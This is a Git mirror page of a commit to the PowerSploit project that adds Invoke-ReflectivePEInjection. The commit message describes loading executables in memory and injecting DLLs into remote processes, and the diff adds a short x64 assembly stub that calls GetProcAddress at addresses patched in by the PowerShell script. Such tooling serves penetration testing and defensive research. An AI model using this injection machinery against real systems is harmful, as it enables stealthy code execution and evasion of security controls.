mirror of
https://github.com/PowerShellMafia/PowerSploit
synced 2026-06-08 12:13:33 +00:00
Added Invoke-ReflectivePEInjection
Another awesome addition from Joe Bialek. Invoke-ReflectivePEInjection is a vast improvement over Invoke-ReflectiveDllInjection. It adds the following features: * Now supports loading exe files in memory * Supports reflective dll injection into a remote process * Additional sample Visual Studio solutions
This commit is contained in:
@@ -0,0 +1,27 @@
|
||||
[SECTION .text]
|
||||
|
||||
global _start
|
||||
|
||||
_start:
|
||||
; Save state of rbx and stack
|
||||
push rbx
|
||||
mov rbx, rsp
|
||||
|
||||
; Set up stack for function call to GetProcAddress
|
||||
sub rsp, 0x20
|
||||
and sp, 0xffc0
|
||||
|
||||
; Call getprocaddress
|
||||
mov rcx, 0x4141414141414141 ; DllHandle, set by PS
|
||||
mov rdx, 0x4141414141414141 ; Ptr to FuncName string, set by PS
|
||||
mov rax, 0x4141414141414141 ; GetProcAddress address, set by PS
|
||||
call rax
|
||||
|
||||
; Store the result
|
||||
mov rcx, 0x4141414141414141 ; Ptr to buffer to save result,set by PS
|
||||
mov [rcx], rax
|
||||
|
||||
; Restore stack
|
||||
mov rsp, rbx
|
||||
pop rbx
|
||||
ret
|
||||
Reference in New Issue
Block a user